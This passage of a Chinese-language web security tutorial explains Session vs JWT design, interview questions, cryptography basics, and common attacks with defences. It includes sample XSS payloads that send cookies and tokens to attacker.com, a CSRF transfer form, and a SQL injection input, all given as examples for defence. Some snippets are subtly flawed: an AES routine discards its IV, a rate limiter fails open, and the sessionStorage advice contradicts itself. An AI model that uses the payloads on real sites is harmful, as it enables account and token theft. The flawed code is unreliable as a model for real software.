            method: 'POST',
            body: JSON.stringify({ username, password }),
            credentials: 'include'  // 携带Cookie
        });

        const { access_token, expires_in } = await response.json();

        // Access Token存储在内存
        this.setAccessToken(access_token, expires_in);

        // Refresh Token在HttpOnly Cookie中(服务器设置)
    }

    async request(url, options) {
        // 自动添加Access Token
        const token = this.getAccessToken();

        const response = await fetch(url, {
            ...options,
            headers: {
                ...options.headers,
                'Authorization': `Bearer ${token}`
            }
        });

        // Token过期时自动刷新
        if (response.status === 401) {
            await this.refreshToken();
            return this.request(url, options);  // 重试
        }

        return response;
    }
}

优势: - 前后端完全分离 - 支持跨域 - 适合现代SPA架构

场景3:移动App(JWT + Refresh Token)

技术栈:

客户端:iOS/Android
后端:RESTful API
认证:JWT(长期Refresh Token)

Token管理:

// Android示例(Kotlin)
class TokenManager(private val secureStorage: SecureStorage) {

    // Access Token存储在内存
    private var accessToken: String? = null

    // Refresh Token存储在加密存储
    private var refreshToken: String?
        get() = secureStorage.getString("refresh_token")
        set(value) = secureStorage.putString("refresh_token", value)

    suspend fun login(username: String, password: String) {
        val response = authApi.login(username, password)

        accessToken = response.accessToken
        refreshToken = response.refreshToken  // 存储到加密存储
    }

    suspend fun getValidAccessToken(): String {
        // 检查Access Token是否过期
        if (isAccessTokenExpired()) {
            // 使用Refresh Token获取新的Access Token
            val response = authApi.refresh(refreshToken!!)
            accessToken = response.accessToken
        }

        return accessToken!!
    }
}

优势: - Refresh Token长期有效(30-90天) - 用户体验好,无需频繁登录 - 安全性高(Refresh Token可撤销)

场景4:微服务架构(JWT统一认证)

架构:

┌─────────┐     JWT      ┌──────────────┐
│  Client ├─────────────>│ API Gateway  │
└─────────┘              │ (验证Token)  │
                         └──────┬───────┘
                                │ X-User-Id, X-Roles
                                │ (内部调用不需要Token)
                ┌───────────────┼───────────────┐
                │               │               │
         ┌──────▼──────┐ ┌─────▼─────┐ ┌──────▼──────┐
         │User Service │ │Order Service│ │Payment Service│
         └─────────────┘ └──────────────┘ └─────────────┘

优势: - 网关统一验证,减轻微服务压力 - 无状态,易于扩展 - 服务间调用无需Token(内网信任)

场景5:混合方案(Session + JWT)

应用场景: - 内部员工:Session(频繁操作,需要随时撤销) - 外部用户:JWT(分布式,跨域访问)

实现:

@RestController
public class AuthController {

    @PostMapping("/auth/employee/login")
    public void employeeLogin(HttpSession session, @RequestBody LoginRequest request) {
        // 内部员工使用Session
        User user = authenticate(request);
        session.setAttribute("user", user);
    }

    @PostMapping("/auth/customer/login")
    public TokenResponse customerLogin(@RequestBody LoginRequest request) {
        // 外部客户使用JWT
        User user = authenticate(request);
        String token = jwtService.generateToken(user);
        return new TokenResponse(token);
    }
}


5. 常见面试题

Q1: Session和Token的区别?

回答要点:

核心区别:
1. 存储位置
   - Session:服务器端存储,SessionID在客户端
   - Token(JWT):客户端存储,服务器不存储

2. 扩展性
   - Session:需要Session共享(Redis/Sticky Session)
   - Token:天然支持分布式,无状态

3. 撤销能力
   - Session:容易撤销(删除即可)
   - Token:难撤销(需要黑名单或短期Token)

4. 性能
   - Session:需要查询存储(Redis/DB)
   - Token:本地验证签名,更快

5. 适用场景
   - Session:单体应用、需要频繁撤销
   - Token:微服务、移动端API、跨域

面试加分项:
- 提到JWT的三部分结构(Header.Payload.Signature)
- 说明Refresh Token机制
- 讲解分布式Session解决方案

Q2: JWT如何防止被篡改?

回答要点:

核心机制:数字签名

1. 签名生成:
   signature = HMAC-SHA256(header + "." + payload, secret)

2. 验证过程:
   - 服务器收到JWT
   - 重新计算签名:expectedSig = HMAC(header + payload, secret)
   - 对比:expectedSig == receivedSig
   - 不匹配则拒绝

3. 为什么安全?
   - 攻击者没有secret,无法生成有效签名
   - 修改Payload后签名会失效
   - 即使Payload是Base64编码可见,但无法伪造

4. 注意事项:
   - secret必须保密
   - 建议使用RS256(非对称)替代HS256
   - 防止算法混淆攻击(alg: none)

面试加分项:
- 区分对称和非对称签名
- 提到常见攻击方式和防护
- 说明密钥管理最佳实践

Q3: JWT如何实现撤销(Revoke)?

回答要点:

问题:JWT无状态,一旦签发就无法撤销

解决方案:

1. 黑名单(Blacklist)
   - 将撤销的jti存储在Redis
   - 验证时检查是否在黑名单中
   - 缺点:失去无状态优势

2. 短期Token
   - Access Token:5-15分钟
   - 即使泄露,影响时间也很短
   - 配合Refresh Token使用

3. Refresh Token机制(推荐)
   - Access Token:短期,不可撤销
   - Refresh Token:长期,可撤销(存储在DB)
   - 撤销时删除Refresh Token,Access Token很快过期

4. Token版本号
   - Payload中包含tokenVersion
   - 撤销时增加用户的tokenVersion
   - 验证时对比版本号
   - 缺点:需要查询数据库

实际选择:
- 低安全场景:短期Token(最简单)
- 一般场景:Refresh Token机制
- 高安全场景:黑名单 + 短期Token

面试加分项:
- 对比各方案优缺点
- 说明实际项目中的选择和原因
- 提到滑动过期策略

Q4: Refresh Token的作用和实现原理?

回答要点:

作用:平衡安全性和用户体验

问题场景:
- Access Token短期(15分钟):安全
- 但用户需要频繁重新登录:体验差

解决方案:双Token机制

架构:
Access Token:
- 有效期:短(5-15分钟)
- 用途:访问受保护资源
- 存储:内存或HttpOnly Cookie
- 不可撤销

Refresh Token:
- 有效期:长(7-30天)
- 用途:获取新的Access Token
- 存储:数据库(可撤销)+ HttpOnly Cookie(客户端)
- 可撤销

流程:
1. 登录 → 返回Access Token + Refresh Token
2. 访问API → 使用Access Token
3. Access Token过期 → 使用Refresh Token换新Token
4. Refresh Token过期 → 重新登录

优势:
- Access Token泄露影响小(很快过期)
- Refresh Token可撤销(登出、换设备)
- 用户体验好(长期免登录)

面试加分项:
- 说明Token轮换(Refresh Token Rotation)
- 提到Sliding Window策略
- 讲解移动端的实现差异

Q5: JWT应该存储在哪里?为什么?

回答要点:

选项对比:

1. localStorage
   - 优点:使用方便
   - 缺点:容易被XSS窃取
   - 结论:不推荐

2. sessionStorage
   - 优点:关闭标签自动清除
   - 缺点:仍然容易被XSS窃取
   - 结论:仅用于临时Token

3. HttpOnly Cookie(推荐)
   - 优点:JavaScript无法访问,防XSS
   - 缺点:需要CSRF防护(SameSite)
   - 结论:最推荐

4. 内存变量
   - 优点:安全性最高
   - 缺点:刷新页面丢失
   - 结论:适合SPA + 自动刷新机制

推荐方案:
Web应用:
- Access Token:内存 + 自动刷新
- Refresh Token:HttpOnly Cookie

移动应用:
- Access Token:内存
- Refresh Token:加密存储(Keychain/EncryptedSharedPreferences)

安全配置:
Set-Cookie: access_token=xxx; 
  HttpOnly;         // 防XSS
  Secure;           // 仅HTTPS
  SameSite=Strict;  // 防CSRF
  Path=/;
  Max-Age=900

面试加分项:
- 对比不同存储方式的安全性
- 说明CSRF防护措施
- 提到移动端的特殊处理


总结

Session vs JWT 选择决策树

开始
  ├─ 是微服务架构?
  │   ├─ 是 → 使用JWT
  │   └─ 否 → 继续
  ├─ 是否需要跨域?
  │   ├─ 是 → 使用JWT
  │   └─ 否 → 继续
  ├─ 是否是移动端API?
  │   ├─ 是 → 使用JWT
  │   └─ 否 → 继续
  ├─ 是否需要频繁撤销会话?
  │   ├─ 是 → 使用Session
  │   └─ 否 → 使用JWT
  └─ 单体应用 → 使用Session

最佳实践清单

Session最佳实践: - ✅ 登录后重新生成SessionID - ✅ 设置HttpOnly、Secure、SameSite - ✅ 分布式系统使用Redis存储 - ✅ 实施超时策略(固定+滑动) - ✅ 限制并发会话数

JWT最佳实践: - ✅ 使用强签名算法(HS256/RS256) - ✅ 设置合理的过期时间(15分钟) - ✅ 实施Refresh Token机制 - ✅ Token存储在HttpOnly Cookie或内存 - ✅ 不在Payload中存放敏感信息 - ✅ 验证所有标准Claims(exp, iss, aud) - ✅ 防止算法混淆攻击

通用安全实践: - ✅ 全站HTTPS - ✅ 实施CSRF防护 - ✅ 防止XSS攻击(输入验证、输出编码) - ✅ 日志记录和监控 - ✅ 定期安全审计


密码学基础

哈希(Hash)

**定义:**单向函数,将任意长度数据转换为固定长度的摘要,不可逆。

特性: - 确定性:相同输入产生相同输出 - 不可逆:无法从哈希值推导原始数据 - 雪崩效应:输入微小变化导致输出巨大变化 - 抗碰撞:难以找到两个不同输入产生相同哈希值

常用算法:

// MD5(已不安全,不推荐)
String md5 = DigestUtils.md5Hex("password");

// SHA-256(安全,但不适合密码存储)
String sha256 = DigestUtils.sha256Hex("password");

// BCrypt(推荐用于密码存储,自带盐值和成本因子)
String bcrypt = BCrypt.hashpw("password", BCrypt.gensalt(12));

// Argon2(最新推荐,2015年密码哈希大赛冠军)
Argon2 argon2 = Argon2Factory.create();
String hash = argon2.hash(10, 65536, 1, "password");

密码存储最佳实践:

public class PasswordService {

    /**
     * 密码加密存储
     * 使用BCrypt,自动添加盐值
     */
    public String encodePassword(String plainPassword) {
        // cost factor = 12, 2^12 = 4096 轮
        return BCrypt.hashpw(plainPassword, BCrypt.gensalt(12));
    }

    /**
     * 密码验证
     */
    public boolean verifyPassword(String plainPassword, String hashedPassword) {
        return BCrypt.checkpw(plainPassword, hashedPassword);
    }
}

// 数据库存储示例
// 原始密码: "myPassword123"
// 存储值: "$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW"
//         ^^^ ^^  ^^^^^^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//         |   |   |                        |
//         |   |   |                        +-- 哈希值(31字符)
//         |   |   +-- 盐值(22字符)
//         |   +-- cost factor
//         +-- 算法标识(2a = BCrypt)

加密(Encryption)

**定义:**双向转换,可以解密还原原始数据。

对称加密

**特点:**加密和解密使用相同密钥。

常用算法: - AES(Advanced Encryption Standard):最常用,安全性高 - DES(已淘汰)、3DES(逐步淘汰)

/**
 * AES加密示例
 */
public class AESEncryption {

    private static final String ALGORITHM = "AES/GCM/NoPadding";
    private static final int KEY_SIZE = 256; // 256位密钥

    /**
     * 加密数据
     */
    public byte[] encrypt(String plaintext, SecretKey key) throws Exception {
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        GCMParameterSpec parameterSpec = new GCMParameterSpec(128, generateIV());
        cipher.init(Cipher.ENCRYPT_MODE, key, parameterSpec);
        return cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
    }

    /**
     * 解密数据
     */
    public String decrypt(byte[] ciphertext, SecretKey key, byte[] iv) 
            throws Exception {
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv);
        cipher.init(Cipher.DECRYPT_MODE, key, parameterSpec);
        byte[] plaintext = cipher.doFinal(ciphertext);
        return new String(plaintext, StandardCharsets.UTF_8);
    }

    /**
     * 生成随机IV(初始化向量)
     */
    private byte[] generateIV() {
        byte[] iv = new byte[12]; // GCM模式推荐12字节
        new SecureRandom().nextBytes(iv);
        return iv;
    }
}

应用场景: - 数据库敏感字段加密(身份证、银行卡号) - 配置文件加密 - 传输层加密(TLS/SSL)

非对称加密

**特点:**使用公钥加密,私钥解密(或反之)。

常用算法: - RSA:最常用,适合加密和签名 - ECC(椭圆曲线):更短的密钥长度,相同安全性

/**
 * RSA加密示例
 */
public class RSAEncryption {

    /**
     * 生成密钥对
     */
    public KeyPair generateKeyPair() throws Exception {
        KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
        generator.initialize(2048); // 2048位密钥
        return generator.generateKeyPair();
    }

    /**
     * 公钥加密
     */
    public byte[] encrypt(String plaintext, PublicKey publicKey) 
            throws Exception {
        Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
        cipher.init(Cipher.ENCRYPT_MODE, publicKey);
        return cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
    }

    /**
     * 私钥解密
     */
    public String decrypt(byte[] ciphertext, PrivateKey privateKey) 
            throws Exception {
        Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
        cipher.init(Cipher.DECRYPT_MODE, privateKey);
        byte[] plaintext = cipher.doFinal(ciphertext);
        return new String(plaintext, StandardCharsets.UTF_8);
    }
}

应用场景: - 数字签名 - 密钥交换 - SSL/TLS握手 - JWT签名(RS256算法)

数字签名

**定义:**使用私钥对数据进行签名,他人可用公钥验证签名,确保数据完整性和来源真实性。

流程:

签名生成:
1. 对原始数据进行哈希计算
2. 使用私钥对哈希值加密 → 签名

签名验证:
1. 对原始数据进行哈希计算
2. 使用公钥解密签名 → 得到哈希值
3. 比较两个哈希值是否一致

/**
 * 数字签名示例
 */
public class DigitalSignature {

    /**
     * 生成签名
     */
    public byte[] sign(String data, PrivateKey privateKey) throws Exception {
        Signature signature = Signature.getInstance("SHA256withRSA");
        signature.initSign(privateKey);
        signature.update(data.getBytes(StandardCharsets.UTF_8));
        return signature.sign();
    }

    /**
     * 验证签名
     */
    public boolean verify(String data, byte[] signatureBytes, PublicKey publicKey) 
            throws Exception {
        Signature signature = Signature.getInstance("SHA256withRSA");
        signature.initVerify(publicKey);
        signature.update(data.getBytes(StandardCharsets.UTF_8));
        return signature.verify(signatureBytes);
    }
}

应用场景: - JWT签名 - API请求签名 - 软件包完整性验证 - 区块链交易


常见攻击方式与防护

1. 暴力破解攻击(Brute Force Attack)

攻击方式: - 尝试所有可能的密码组合 - 使用常见密码字典

防护措施:

/**
 * 登录失败次数限制
 */
public class LoginAttemptService {

    private LoadingCache<String, Integer> attemptsCache;

    public LoginAttemptService() {
        attemptsCache = CacheBuilder.newBuilder()
            .expireAfterWrite(1, TimeUnit.DAYS)
            .build(new CacheLoader<String, Integer>() {
                public Integer load(String key) {
                    return 0;
                }
            });
    }

    /**
     * 记录登录失败
     */
    public void loginFailed(String username) {
        int attempts = attemptsCache.getUnchecked(username);
        attempts++;
        attemptsCache.put(username, attempts);
    }

    /**
     * 检查是否被锁定
     */
    public boolean isBlocked(String username) {
        try {
            return attemptsCache.get(username) >= 5; // 5次失败后锁定
        } catch (ExecutionException e) {
            return false;
        }
    }

    /**
     * 登录成功,重置计数
     */
    public void loginSucceeded(String username) {
        attemptsCache.invalidate(username);
    }
}

其他防护手段: - 强密码策略(长度、复杂度要求) - 验证码(CAPTCHA) - 账户锁定策略(临时锁定/永久锁定) - 延迟响应(随着失败次数增加延迟时间)

2. 会话固定攻击(Session Fixation)

攻击流程:

1. 攻击者获取一个有效的SessionID
2. 诱骗受害者使用这个SessionID登录
3. 受害者登录后,攻击者使用同一SessionID访问

防护措施:

/**
 * 登录后重新生成SessionID
 */
public void onAuthenticationSuccess(HttpServletRequest request) {
    HttpSession oldSession = request.getSession(false);
    if (oldSession != null) {
        // 保存旧会话数据
        Map<String, Object> attributes = new HashMap<>();
        Enumeration<String> names = oldSession.getAttributeNames();
        while (names.hasMoreElements()) {
            String name = names.nextElement();
            attributes.put(name, oldSession.getAttribute(name));
        }

        // 使旧会话失效
        oldSession.invalidate();
    }

    // 创建新会话
    HttpSession newSession = request.getSession(true);

    // 恢复会话数据
    attributes.forEach(newSession::setAttribute);
}

3. 跨站脚本攻击(XSS - Cross-Site Scripting)

攻击类型:

  1. 存储型XSS:恶意脚本存储在服务器(如评论)
  2. 反射型XSS:恶意脚本在URL参数中
  3. DOM型XSS:通过修改DOM执行脚本

攻击示例:

<!-- 用户输入 -->
<script>
  document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>

<!-- 或窃取Token -->
<img src="x" onerror="fetch('http://attacker.com/steal', {
  method: 'POST',
  body: localStorage.getItem('token')
})">

防护措施:

/**
 * 输出编码
 */
public class XSSProtection {

    /**
     * HTML实体编码
     */
    public String encodeForHTML(String input) {
        return StringEscapeUtils.escapeHtml4(input);
        // < 转换为 &lt;
        // > 转换为 &gt;
        // " 转换为 &quot;
        // ' 转换为 &#x27;
    }

    /**
     * JavaScript编码
     */
    public String encodeForJavaScript(String input) {
        return StringEscapeUtils.escapeEcmaScript(input);
    }

    /**
     * URL编码
     */
    public String encodeForURL(String input) {
        return URLEncoder.encode(input, StandardCharsets.UTF_8);
    }
}

其他防护: - Content Security Policy (CSP) 头 - HttpOnly Cookie(防止JavaScript访问) - 输入验证和过滤 - 使用安全的模板引擎(自动转义)

// Spring Boot CSP配置
@Configuration
public class SecurityHeadersConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers()
            .contentSecurityPolicy("default-src 'self'; script-src 'self'");
        return http.build();
    }
}

4. 跨站请求伪造(CSRF - Cross-Site Request Forgery)

攻击流程:

1. 用户登录可信网站A,获得Cookie
2. 用户访问恶意网站B(未退出A)
3. 网站B返回攻击代码,向网站A发起请求
4. 浏览器自动携带网站A的Cookie
5. 网站A收到请求,以为是用户真实操作

攻击示例:

<!-- 恶意网站B的页面 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

<!-- 或者使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.forms[0].submit();</script>

防护措施:

  1. CSRF Token(同步令牌模式)
    /**
     * CSRF Token验证
     */
    public class CSRFProtection {
    
        /**
         * 生成CSRF Token
         */
        public String generateToken(HttpSession session) {
            String token = UUID.randomUUID().toString();
            session.setAttribute("CSRF_TOKEN", token);
            return token;
        }
    
        /**
         * 验证CSRF Token
         */
        public boolean validateToken(HttpServletRequest request) {
            String sessionToken = (String) request.getSession()
                .getAttribute("CSRF_TOKEN");
            String requestToken = request.getParameter("_csrf");
    
            return sessionToken != null && sessionToken.equals(requestToken);
        }
    }
    
<!-- 在表单中包含CSRF Token -->
<form method="POST" action="/transfer">
  <input type="hidden" name="_csrf" value="${csrfToken}" />
  <input type="text" name="to" />
  <input type="number" name="amount" />
  <button type="submit">Transfer</button>
</form>
  1. SameSite Cookie属性

    Cookie cookie = new Cookie("SESSIONID", sessionId);
    cookie.setSameSite("Strict"); // 或 "Lax"
    // Strict: 完全禁止第三方Cookie
    // Lax: 允许部分第三方Cookie(GET请求)
    

  2. 验证Referer/Origin头

    public boolean validateReferer(HttpServletRequest request) {
        String referer = request.getHeader("Referer");
        String origin = request.getHeader("Origin");
        return referer != null && referer.startsWith("https://yourdomain.com");
    }
    

  3. 双重Cookie验证

    // 设置CSRF Cookie
    Cookie csrfCookie = new Cookie("XSRF-TOKEN", token);
    response.addCookie(csrfCookie);
    
    // 验证:Cookie值 == Header值
    String cookieToken = getCookieValue(request, "XSRF-TOKEN");
    String headerToken = request.getHeader("X-XSRF-TOKEN");
    return cookieToken.equals(headerToken);
    

5. SQL注入攻击(SQL Injection)

攻击示例:

// 不安全的代码
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username='" + username + 
             "' AND password='" + password + "'";

// 攻击者输入:
// username: admin' --
// password: anything
// 生成的SQL: SELECT * FROM users WHERE username='admin' --' AND password='anything'
// -- 是注释符,后面的密码验证被注释掉了!

防护措施:

/**
 * 使用预编译语句(Prepared Statement)
 */
public User findUser(String username, String password) {
    String sql = "SELECT * FROM users WHERE username = ? AND password = ?";

    try (Connection conn = dataSource.getConnection();
         PreparedStatement stmt = conn.prepareStatement(sql)) {

        stmt.setString(1, username);  // 参数自动转义
        stmt.setString(2, password);

        ResultSet rs = stmt.executeQuery();
        // 处理结果
    }
}

/**
 * 使用ORM框架(JPA/Hibernate)
 */
@Repository
public interface UserRepository extends JpaRepository<User, Long> {
    // 自动使用参数化查询
    User findByUsernameAndPassword(String username, String password);

    // 或使用JPQL
    @Query("SELECT u FROM User u WHERE u.username = :username AND u.password = :password")
    User authenticate(@Param("username") String username, 
                     @Param("password") String password);
}

6. 中间人攻击(Man-in-the-Middle Attack)

攻击方式: - 拦截客户端和服务器之间的通信 - 窃取敏感信息(密码、Token) - 篡改请求和响应

防护措施:

  1. 使用HTTPS

    // Spring Boot强制HTTPS
    @Configuration
    public class SecurityConfig {
        @Bean
        public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
            http.requiresChannel()
                .anyRequest()
                .requiresSecure(); // 强制HTTPS
            return http.build();
        }
    }
    

  2. HTTP Strict Transport Security (HSTS)

    // 告诉浏览器只能通过HTTPS访问
    http.headers()
        .httpStrictTransportSecurity()
        .includeSubDomains(true)
        .maxAgeInSeconds(31536000); // 1年
    

  3. 证书固定(Certificate Pinning)

    // 客户端验证服务器证书
    public class CertificatePinning {
        public SSLContext createSSLContext() throws Exception {
            // 加载信任的证书
            CertificateFactory cf = CertificateFactory.getInstance("X.509");
            InputStream cert = getClass().getResourceAsStream("server.crt");
            Certificate ca = cf.generateCertificate(cert);
    
            // 创建包含证书的KeyStore
            KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
            keyStore.load(null, null);
            keyStore.setCertificateEntry("ca", ca);
    
            // 创建TrustManager
            TrustManagerFactory tmf = TrustManagerFactory.getInstance(
                TrustManagerFactory.getDefaultAlgorithm());
            tmf.init(keyStore);
    
            // 创建SSLContext
            SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null, tmf.getTrustManagers(), null);
            return sslContext;
        }
    }
    


安全最佳实践

1. 密码安全

强密码策略:

/**
 * 密码复杂度验证
 */
public class PasswordValidator {

    private static final int MIN_LENGTH = 12;
    private static final Pattern UPPERCASE = Pattern.compile("[A-Z]");
    private static final Pattern LOWERCASE = Pattern.compile("[a-z]");
    private static final Pattern DIGIT = Pattern.compile("[0-9]");
    private static final Pattern SPECIAL = Pattern.compile("[!@#$%^&*(),.?\":{}|<>]");

    public ValidationResult validate(String password) {
        List<String> errors = new ArrayList<>();

        if (password == null || password.length() < MIN_LENGTH) {
            errors.add("密码长度至少" + MIN_LENGTH + "个字符");
        }

        if (!UPPERCASE.matcher(password).find()) {
            errors.add("至少包含一个大写字母");
        }

        if (!LOWERCASE.matcher(password).find()) {
            errors.add("至少包含一个小写字母");
        }

        if (!DIGIT.matcher(password).find()) {
            errors.add("至少包含一个数字");
        }

        if (!SPECIAL.matcher(password).find()) {
            errors.add("至少包含一个特殊字符");
        }

        // 检查常见弱密码
        if (isCommonPassword(password)) {
            errors.add("密码过于常见,请使用更强的密码");
        }

        return new ValidationResult(errors.isEmpty(), errors);
    }

    private boolean isCommonPassword(String password) {
        Set<String> commonPasswords = Set.of(
            "password", "123456", "12345678", "qwerty", 
            "abc123", "password123", "admin"
        );
        return commonPasswords.contains(password.toLowerCase());
    }
}

密码存储:

// ✅ 正确:使用BCrypt/Argon2
String hashedPassword = BCrypt.hashpw(plainPassword, BCrypt.gensalt(12));

// ❌ 错误:明文存储
String password = "myPassword123";

// ❌ 错误:简单哈希(MD5/SHA-256)
String md5 = DigestUtils.md5Hex(password);

// ❌ 错误:可逆加密
String encrypted = AES.encrypt(password, secretKey);

2. Token安全

JWT最佳实践:

/**
 * JWT Token生成和验证
 */
public class JWTService {

    private static final String SECRET_KEY = System.getenv("JWT_SECRET");
    private static final long EXPIRATION_TIME = 3600000; // 1小时

    /**
     * 生成Token
     */
    public String generateToken(User user) {
        Date now = new Date();
        Date expiry = new Date(now.getTime() + EXPIRATION_TIME);

        return Jwts.builder()
            .setSubject(user.getUsername())
            .setIssuedAt(now)
            .setExpiration(expiry)
            .claim("userId", user.getId())
            .claim("roles", user.getRoles())
            // 使用强算法
            .signWith(SignatureAlgorithm.HS512, SECRET_KEY)
            .compact();
    }

    /**
     * 验证Token
     */
    public Claims validateToken(String token) {
        try {
            return Jwts.parser()
                .setSigningKey(SECRET_KEY)
                .parseClaimsJws(token)
                .getBody();
        } catch (ExpiredJwtException e) {
            throw new TokenExpiredException("Token已过期");
        } catch (JwtException e) {
            throw new InvalidTokenException("无效的Token");
        }
    }

    /**
     * Token刷新策略
     */
    public String refreshToken(String oldToken) {
        Claims claims = validateToken(oldToken);

        // 检查是否在刷新窗口内(例如:过期前15分钟)
        Date expiration = claims.getExpiration();
        long timeUntilExpiry = expiration.getTime() - System.currentTimeMillis();

        if (timeUntilExpiry < 900000) { // 15分钟
            // 生成新Token
            return generateToken(loadUserFromClaims(claims));
        }

        return oldToken;
    }
}

Token存储:

// ✅ 浏览器端推荐:HttpOnly Cookie
// 服务器设置:
response.addCookie(createSecureCookie("token", jwtToken));

// ⚠️ 备选:LocalStorage(容易受XSS攻击)
localStorage.setItem('token', jwtToken);

// ✅ 更好:使用sessionStorage(关闭标签后清除)
sessionStorage.setItem('token', jwtToken);

// ✅ 移动端:使用安全存储
// Android: EncryptedSharedPreferences
// iOS: Keychain

3. API安全

认证:

// 1. Bearer Token认证
@GetMapping("/api/users/me")
public User getCurrentUser(
    @RequestHeader("Authorization") String authHeader
) {
    String token = authHeader.replace("Bearer ", "");
    return userService.getUserFromToken(token);
}

// 2. API Key认证(适用于服务间调用)
@GetMapping("/api/data")
public Data getData(
    @RequestHeader("X-API-Key") String apiKey
) {
    if (!apiKeyService.isValid(apiKey)) {
        throw new UnauthorizedException();
    }
    return dataService.getData();
}

// 3. 签名认证(高安全场景)
@PostMapping("/api/payment")
public PaymentResult processPayment(
    @RequestBody PaymentRequest request,
    @RequestHeader("X-Signature") String signature,
    @RequestHeader("X-Timestamp") long timestamp
) {
    // 验证时间戳(防重放攻击)
    if (Math.abs(System.currentTimeMillis() - timestamp) > 300000) {
        throw new RequestExpiredException();
    }

    // 验证签名
    String expectedSignature = calculateSignature(request, timestamp);
    if (!signature.equals(expectedSignature)) {
        throw new InvalidSignatureException();
    }

    return paymentService.process(request);
}

速率限制:

/**
 * API速率限制(防止滥用)
 */
@Component
public class RateLimiter {

    private final LoadingCache<String, AtomicInteger> requestCounts;

    public RateLimiter() {
        requestCounts = CacheBuilder.newBuilder()
            .expireAfterWrite(1, TimeUnit.MINUTES)
            .build(new CacheLoader<String, AtomicInteger>() {
                public AtomicInteger load(String key) {
                    return new AtomicInteger(0);
                }
            });
    }

    /**
     * 检查是否超过限制
     * @param identifier 标识符(IP、用户ID、API Key)
     * @param limit 每分钟最大请求数
     */
    public boolean allowRequest(String identifier, int limit) {
        try {
            AtomicInteger counter = requestCounts.get(identifier);
            return counter.incrementAndGet() <= limit;
        } catch (ExecutionException e) {
            return true; // 出错时允许请求
        }
    }
}

// 使用拦截器应用速率限制
@Component
public class RateLimitInterceptor implements HandlerInterceptor {

    @Autowired
    private RateLimiter rateLimiter;

    @Override
    public boolean preHandle(HttpServletRequest request, 
                            HttpServletResponse response, 
                            Object handler) throws Exception {
        String clientId = getClientIdentifier(request);

        if (!rateLimiter.allowRequest(clientId, 100)) { // 100次/分钟
            response.setStatus(429); // Too Many Requests
            response.getWriter().write("Rate limit exceeded");
            return false;
        }

        return true;
    }

    private String getClientIdentifier(HttpServletRequest request) {
        // 优先使用用户ID,其次使用IP
        String userId = (String) request.getAttribute("userId");
        return userId != null ? userId : request.getRemoteAddr();
    }
}

4. 日志与监控

安全日志记录:

/**
 * 安全事件日志
 */
@Component
public class SecurityLogger {

    private static final Logger logger = LoggerFactory.getLogger(SecurityLogger.class);

    /**
     * 记录登录成功
     */
    public void logLoginSuccess(String username, String ip) {
        logger.info("Login successful - User: {}, IP: {}", username, ip);
    }

    /**
     * 记录登录失败
     */
    public void logLoginFailure(String username, String ip, String reason) {
        logger.warn("Login failed - User: {}, IP: {}, Reason: {}", 
            username, ip, reason);
    }

    /**
     * 记录访问被拒绝
     */
    public void logAccessDenied(String username, String resource, String action) {
        logger.warn("Access denied - User: {}, Resource: {}, Action: {}", 
            username, resource, action);
    }

    /**
     * 记录可疑活动
     */
    public void logSuspiciousActivity(String username, String activity, 
                                     Map<String, Object> details) {
        logger.error("Suspicious activity detected - User: {}, Activity: {}, Details: {}", 
            username, activity, details);

        // 触发告警
        alertService.sendSecurityAlert(username, activity, details);
    }
}

监控指标:

// 使用Micrometer监控认证指标
@Component
public class AuthenticationMetrics {

    private final Counter loginAttempts;
    private final Counter loginSuccesses;
    private final Counter loginFailures;
    private final Timer authenticationTime;

    public AuthenticationMetrics(MeterRegistry registry) {
        this.loginAttempts = Counter.builder("auth.login.attempts")
            .description("Total login attempts")
            .register(registry);

        this.loginSuccesses = Counter.builder("auth.login.successes")
            .description("Successful logins")
            .register(registry);

        this.loginFailures = Counter.builder("auth.login.failures")
            .description("Failed logins")
            .tag("reason", "invalid_credentials")
            .register(registry);

        this.authenticationTime = Timer.builder("auth.time")
            .description("Authentication processing time")
            .register(registry);
    }

    public void recordLoginAttempt() {
        loginAttempts.increment();
    }

    public void recordLoginSuccess() {
        loginSuccesses.increment();
    }

    public void recordLoginFailure() {
        loginFailures.increment();
    }
}

5. 安全配置清单

生产环境安全配置:

# application.properties

# 禁用不必要的HTTP方法
spring.mvc.dispatch-options-request=false

# 禁用详细错误信息
server.error.include-message=never
server.error.include-stacktrace=never
server.error.include-exception=false

# Session配置
server.servlet.session.timeout=30m
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict

# 安全头
server.servlet.session.tracking-modes=cookie

# 禁用不安全的默认值
spring.security.filter.dispatcher-types=request,error,async,forward

/**
 * 安全头配置
 */
@Configuration
public class SecurityHeadersConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers()
            // 防止点击劫持
            .frameOptions().deny()
            // XSS保护
            .xssProtection().enable()
            // 内容类型嗅探保护
            .contentTypeOptions().enable()
            // HSTS
            .httpStrictTransportSecurity()
                .includeSubDomains(true)
                .maxAgeInSeconds(31536000)
            // CSP
            .and()
            .contentSecurityPolicy(
                "default-src 'self'; " +
                "script-src 'self' 'unsafe-inline'; " +
                "style-src 'self' 'unsafe-inline'; " +
                "img-src 'self' data: https:; " +
                "font-src 'self' data:; " +
                "connect-src 'self'"
            )
            // Referrer Policy
            .and()
            .referrerPolicy(ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN);

